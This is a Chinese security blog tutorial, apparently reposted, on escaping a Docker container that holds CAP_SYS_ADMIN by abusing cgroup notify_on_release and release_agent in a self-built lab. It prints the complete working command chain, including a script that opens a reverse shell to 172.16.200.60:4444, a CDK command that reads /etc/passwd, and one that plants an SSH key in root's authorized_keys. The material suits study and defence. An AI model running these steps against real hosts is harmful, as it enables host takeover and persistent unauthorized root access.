CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸
2023-6-25 09:2:18 Author: 谢公子学安全(查看原文) 阅读量:16 收藏

   当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。

环境搭建

执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest
在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability
也可以手动检测Capability
cat /proc/self/status | grep CapEffcapsh --decode=00000000a82425fb

利用notify-on-release进行容器逃逸

在容器内挂载宿主机cgroup的memory
#将cgroup进行挂载mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test#接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全mkdir /tmp/test/x
第二步就需要我们设置notify_on_release文件内容为1,设置release_agent文件的对应路径为宿主机的可写目录upperdir
echo 1 > /tmp/test/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/test/release_agent
其中,cmd为需要宿主机执行的命令,本次使用sh反弹shell:
echo '#!/bin/sh' > /cmdecho 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmdchmod a+x /cmd
清除cgroup.procs中的进程,触发release_agent执行cmd文件进行反弹shelll。该命令启动一个sh进程,将sh进程的PID写入到/tmp/test/x/cgroup.procs中。这里的\$\$表示sh进程的PID。在执行完sh -c后,sh进程会自动退出,这样Cgroup /tmp/test/x 中就不再包含任何任务,/tmp/test/release_agent文件里的shell将被操作系统执行。
sh -c "echo \$\$ > /tmp/test/x/cgroup.procs"
也可以使用CDK来执行命令。CDK会劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。
./cdk run mount-cgroup "cat /etc/passwd"
可以写入公钥文件,注意这里最后需要加个 |
./cdk run mount-cgroup "echo 'ssh-rsa xx    '>> /root/.ssh/authorized_keys | "
但是还不能免密登录,由于等过这种方式写的公钥文件权限的原因,还需要之行如下命令进行权限修改。
./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"

END

非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。  如果你想一起学习内网渗透、域渗透、云安全、红队攻防的话,可以加入下面的知识星球一起学习交流。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247492839&idx=1&sn=48a8b23e7b7e2ff7c4ac14e21efbc81a&chksm=eaae64daddd9edcc80d159177d6bb186970b35f826c770c26720f059004e253a56c632ba1ef0#rd
如有侵权请联系:admin#unsafe.sh